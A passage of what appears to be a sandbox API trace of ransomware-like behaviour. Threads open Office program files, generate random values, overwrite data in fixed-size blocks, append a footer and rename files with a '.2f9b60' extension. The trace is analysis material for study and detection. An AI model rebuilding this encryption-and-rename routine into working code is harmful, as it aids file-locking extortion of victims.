0x43138680 [0195.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138680) returned 1 [0195.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0195.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c650) returned 1 [0195.020] WriteFile (in: hFile=0x1c2c, lpBuffer=0x41cfd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x234ffb60, lpOverlapped=0x0 | out: lpBuffer=0x41cfd170*, lpNumberOfBytesWritten=0x234ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0210.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cfd170) returned 1 [0210.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea1d0 [0210.391] SetFilePointerEx (in: hFile=0x1c2c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.391] WriteFile (in: hFile=0x1c2c, lpBuffer=0x1cebc820*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x234ffc10, lpOverlapped=0x0 | out: lpBuffer=0x1cebc820*, lpNumberOfBytesWritten=0x234ffc10*=0x148, lpOverlapped=0x0) returned 1 [0215.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616f0 [0215.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24920 [0215.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0215.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b880) returned 1 [0215.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0215.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b880 [0215.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aaa0 [0215.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aaa0) returned 1 [0215.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24920) returned 1 [0215.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616f0) returned 1 [0215.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa260 [0215.290] sprintf (in: _Dest=0x1b7aa260, _Format="%c%c" | out: _Dest="50") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa262, _Format="%c%c" | out: _Dest="4a") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa264, _Format="%c%c" | out: _Dest="c7") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa266, _Format="%c%c" | out: _Dest="31") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa268, _Format="%c%c" | out: _Dest="66") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa26a, _Format="%c%c" | out: _Dest="3e") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa26c, _Format="%c%c" | out: _Dest="ce") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa26e, _Format="%c%c" | out: _Dest="01") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa270, _Format="%c%c" | out: _Dest="20") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa272, _Format="%c%c" | out: _Dest="56") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa274, _Format="%c%c" | out: _Dest="2d") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa276, _Format="%c%c" | out: _Dest="b3") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa278, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa27a, _Format="%c%c" | out: _Dest="51") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa27c, _Format="%c%c" | out: _Dest="8f") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa27e, _Format="%c%c" | out: _Dest="3d") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa280, _Format="%c%c" | out: _Dest="cd") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa282, _Format="%c%c" | out: _Dest="54") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa284, _Format="%c%c" | out: _Dest="db") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa286, _Format="%c%c" | out: _Dest="93") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa288, _Format="%c%c" | out: _Dest="29") returned 2 [0215.290] sprintf (in: _Dest=0x1b7aa28a, _Format="%c%c" | out: _Dest="e5") returned 2 [0215.291] RtlInitAnsiString (in: DestinationString=0x234ffc88, SourceString="504ac731663ece0120562db3ff518f3dcd54db9329e5" | out: DestinationString="504ac731663ece0120562db3ff518f3dcd54db9329e5") [0215.291] RtlAnsiStringToUnicodeString (in: DestinationString=0x234ffc58, SourceString="504ac731663ece0120562db3ff518f3dcd54db9329e5", AllocateDestinationString=1 | out: DestinationString="504ac731663ece0120562db3ff518f3dcd54db9329e5") returned 0x0 [0215.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x431a0080 [0215.291] wcscat (in: _Dest=0x431a1fe0, _Source="504ac731663" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\504ac731663") returned="C:\\Program Files\\Microsoft Office\\Office14\\504ac731663" [0215.291] wcscat (in: _Dest=0x431a1fe0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\504ac731663.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\504ac731663.2f9b60" [0215.291] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\504ac731663.2f9b60", NtPathName=0x234ffc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\504ac731663.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce16870 Thread: id = 1724 os_tid = 0xe74 [0131.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic")) returned 0x20 [0132.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic", dwFileAttributes=0x20) returned 1 [0133.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7en.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7en.kic"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c30 [0134.592] GetFileSizeEx (in: hFile=0x1c30, lpFileSize=0x2308f820 | out: lpFileSize=0x2308f820*=1858366) returned 1 [0134.592] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x1c5b3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.592] ReadFile (in: hFile=0x1c30, lpBuffer=0x2308f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2308f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2308f7a0*, lpNumberOfBytesRead=0x2308f7e8*=0x4, lpOverlapped=0x0) returned 1 [0134.619] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202679b0 [0134.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267aa0 [0134.619] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.620] NtQuerySystemTime (in: CurrentTime=0x2308f6e0 | out: CurrentTime=0x2308f6e0*=132462177398614000) returned 0x0 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x5b5abd0f [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x32cd51fb [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x53101c38 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x5b2efd06 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x61f54db [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x5d205e7e [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x4facb7db [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x1832edcc [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x4bcbea13 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x392ae414 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x14a8c563 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x66773c66 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x2e3f0c3c [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x37deab8f [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x66d6864e [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x80b419b [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x4a8302aa [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x7ffa5798 [0134.620] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x73b95ada [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x26b07a30 [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x2b944f61 [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x6e01b7ca [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x173ad64c [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x775aa91d [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x313f0faf [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x16b2354b [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x28de03c8 [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x694334c5 [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x11cc085d [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x2653cbfc [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x4b7c7f1d [0134.621] RtlRandomEx (in: Seed=0x2308f6d0 | out: Seed=0x2308f6d0) returned 0x2eadc7b [0134.634] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.634] ReadFile (in: hFile=0x1c30, lpBuffer=0x41cdf0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2308f740, lpOverlapped=0x0 | out: lpBuffer=0x41cdf0f0*, lpNumberOfBytesRead=0x2308f740*=0x3c00, lpOverlapped=0x0) returned 1 [0134.681] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0134.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0134.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.681] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267b30) returned 1 [0134.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cee130 [0134.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267b30 [0134.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267c80 [0134.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267c80) returned 1 [0134.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0134.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0134.683] WriteFile (hFile=0x1c30, lpBuffer=0x41cee130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2308f740, lpOverlapped=0x0) [0179.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cee130) returned 1 [0179.908] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0xe4c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.908] ReadFile (in: hFile=0x1c30, lpBuffer=0x41cdf0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2308f740, lpOverlapped=0x0 | out: lpBuffer=0x41cdf0f0*, lpNumberOfBytesRead=0x2308f740*=0x3c00, lpOverlapped=0x0) returned 1 [0182.771] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0xe4c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f630 [0182.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f630) returned 1 [0182.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4246a600 [0182.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f630 [0182.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d303b0 [0182.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d303b0) returned 1 [0182.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.775] WriteFile (in: hFile=0x1c30, lpBuffer=0x4246a600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2308f740, lpOverlapped=0x0 | out: lpBuffer=0x4246a600*, lpNumberOfBytesWritten=0x2308f740*=0x3c00, lpOverlapped=0x0) returned 1 [0199.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4246a600) returned 1 [0199.224] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x1c1f3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.224] ReadFile (in: hFile=0x1c30, lpBuffer=0x41cdf0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2308f740, lpOverlapped=0x0 | out: lpBuffer=0x41cdf0f0*, lpNumberOfBytesRead=0x2308f740*=0x3c00, lpOverlapped=0x0) returned 1 [0199.242] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x1c1f3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0199.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668d0) returned 1 [0199.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a8130 [0199.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0199.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a20 [0199.246] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266a20) returned 1 [0199.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.247] WriteFile (in: hFile=0x1c30, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2308f740, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x2308f740*=0x3c00, lpOverlapped=0x0) returned 1 [0214.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0214.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86ef70 [0214.718] SetFilePointerEx (in: hFile=0x1c30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.719] WriteFile (in: hFile=0x1c30, lpBuffer=0x1cebd3f0*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x2308f7f0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd3f0*, lpNumberOfBytesWritten=0x2308f7f0*=0x148, lpOverlapped=0x0) returned 1 [0218.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a710 [0218.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a710) returned 1 [0218.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0218.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a710 [0218.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a6e0 [0218.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a6e0) returned 1 [0218.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.711] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431ad4a0 [0218.711] sprintf (in: _Dest=0x431ad4a0, _Format="%c%c" | out: _Dest="4c") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4a2, _Format="%c%c" | out: _Dest="a1") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4a4, _Format="%c%c" | out: _Dest="49") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4a6, _Format="%c%c" | out: _Dest="ff") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4a8, _Format="%c%c" | out: _Dest="1b") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4aa, _Format="%c%c" | out: _Dest="50") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4ac, _Format="%c%c" | out: _Dest="35") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4ae, _Format="%c%c" | out: _Dest="eb") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4b0, _Format="%c%c" | out: _Dest="2d") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4b2, _Format="%c%c" | out: _Dest="e6") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4b4, _Format="%c%c" | out: _Dest="b3") returned 2 [0218.711] sprintf (in: _Dest=0x431ad4b6, _Format="%c%c" | out: _Dest="98") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4b8, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4ba, _Format="%c%c" | out: _Dest="b3") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4bc, _Format="%c%c" | out: _Dest="ae") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4be, _Format="%c%c" | out: _Dest="f8") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4c0, _Format="%c%c" | out: _Dest="e0") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4c2, _Format="%c%c" | out: _Dest="8d") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4c4, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4c6, _Format="%c%c" | out: _Dest="e8") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4c8, _Format="%c%c" | out: _Dest="64") returned 2 [0218.712] sprintf (in: _Dest=0x431ad4ca, _Format="%c%c" | out: _Dest="14") returned 2 [0218.712] RtlInitAnsiString (in: DestinationString=0x2308f868, SourceString="4ca149ff1b5035eb2de6b3982cb3aef8e08d6ae86414" | out: DestinationString="4ca149ff1b5035eb2de6b3982cb3aef8e08d6ae86414") [0218.712] RtlAnsiStringToUnicodeString (in: DestinationString=0x2308f838, SourceString="4ca149ff1b5035eb2de6b3982cb3aef8e08d6ae86414", AllocateDestinationString=1 | out: DestinationString="4ca149ff1b5035eb2de6b3982cb3aef8e08d6ae86414") returned 0x0 [0218.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b8645a0 [0218.713] wcscat (in: _Dest=0x431d9920, _Source="4ca149ff1b5" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5") returned="C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5" [0218.713] wcscat (in: _Dest=0x431d9920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5.2f9b60" [0218.713] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5.2f9b60", NtPathName=0x2308f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\4ca149ff1b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43109c70 Thread: id = 1725 os_tid = 0x16f0 [0131.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf")) returned 0x20 [0131.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF", dwFileAttributes=0x20) returned 1 [0131.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.013] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2283fcc0 | out: lpFileSize=0x2283fcc0*=6818) returned 1 [0131.013] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x1a9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.013] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2283fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2283fc88, lpOverlapped=0x0 | out: lpBuffer=0x2283fc40*, lpNumberOfBytesRead=0x2283fc88*=0x4, lpOverlapped=0x0) returned 1 [0131.019] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0131.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b290 [0131.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0131.020] NtQuerySystemTime (in: CurrentTime=0x2283fb80 | out: CurrentTime=0x2283fb80*=132462177362578000) returned 0x0 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x3e5fdbd3 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x5a350d15 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x2998fd35 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x2b11224c [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x46d7c1ca [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x492bed67 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0xef1830b [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x1e6fbbf4 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x6724a25b [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x1f279690 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x21ac88c8 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x28e2bb6 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x71523ba5 [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x3847687c [0131.020] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x546eb5e8 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x569544b6 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x66a0dcf8 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x384e34be [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x2d0b80c5 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x25a07b79 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x3b525aa3 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x270505c5 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x7479e052 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x5dc124cb [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x70609c46 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x3a514623 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x6f7df4f9 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x13dedc25 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x1b6a103a [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x3fc4b425 [0131.021] RtlRandomEx (in: Seed=0x2283fb70 | out: Seed=0x2283fb70) returned 0x42903ac0 [0131.021] RtlRandomEx (in: 